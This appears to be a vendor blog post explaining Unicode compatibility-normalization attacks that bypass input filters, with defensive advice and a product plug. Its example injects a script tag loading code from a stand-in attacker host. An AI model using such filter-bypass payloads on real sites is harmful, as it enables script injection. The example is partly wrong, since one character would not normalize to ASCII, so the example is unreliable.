Normalization Attacks: The Hidden LLM Vulnerability

Input validation in the AI era is no longer just about blocking quotes or curly braces. It requires understanding the specific algorithms intermediate parsers use to transform text. One of the most overlooked transformation layers is Unicode Normalization—specifically NFKC and NFKD.

If your application normalizes text after validating it, you have a critical security vulnerability.

What is Unicode Normalization?

Unicode is complex. The exact same visual character can often be represented by entirely different byte sequences. To compare strings reliably, systems perform "normalization," collapsing varying representations into a single standard form.

There are four forms, but the "Compatibility" forms (NFKC and NFKD) are the most dangerous. They aggressively decompose characters into their simplest equivalents.

For example, the character fi (a single ligature character: U+FB01) normalizes into two distinct characters: f and i.

The Attack Vector: Mutating Intent

Attackers exploit compatibility normalization by finding characters that pass security filters in their un-normalized state, but transform into malicious payloads when normalized by the core application or the underlying LLM tokenizer.

Consider a system filtering the word admin.

1. The Payload: An attacker submits <script src=//evil.com/ąⅾⅿⅰn.js> using mathematical alphanumeric symbols or visually similar unicode variants.
2. The Filter: The security layer regex checks for admin. It sees ąⅾⅿⅰn and allows the request.
3. The Normalization: The backend service (or the tokenization boundary of the LLM itself) applies NFKC normalization to standardize the input.
4. The Execution: The string ąⅾⅿⅰn violently snaps into the literal ASCII string admin. The payload executes.

Why LLMs Make This Worse

In traditional web apps, we solved this by mandating a strict order of operations: Normalize First, Validate Second.

However, LLM architecture complicates this rule. Often, developers pass raw text to an API (like OpenAI's), and the normalization happens opaquely inside the model's tokenizer structure or during internal RAG text processing. You lose control over the normalization boundary.

Detecting and Defending Against Normalization Abuse

You cannot trust the semantic boundary if the morphological boundary is fluid.

flowchart TD
    UserRaw[Raw Input] --> NormalizationCheck{Normalization Check}
    NormalizationCheck -- Unsafe Mutation --> Drop[Drop & Log]
    NormalizationCheck -- Clean --> Validate[Semantic Validation]
    Validate --> LLM[LLM API]

To defend against this, your input ingestion layer must evaluate the input's stability:

1. Pre-emptive Normalization Sandbox: Run the input through normalize('NFKC') locally in your server layer.
2. Delta Analysis: Compare the byte-length and structural density of the raw input versus the normalized string. If massive transformation occurs—specifically into ASCII-equivalent execution keywords—flag the input.

This deterministic delta analysis is a core feature of the PromptShield Ecosystem. It executes entirely in the V8 engine, allowing you to catch normalization drift before the prompt ever touches the external ML model grid. Stop validating ghosts; validate the final execution state.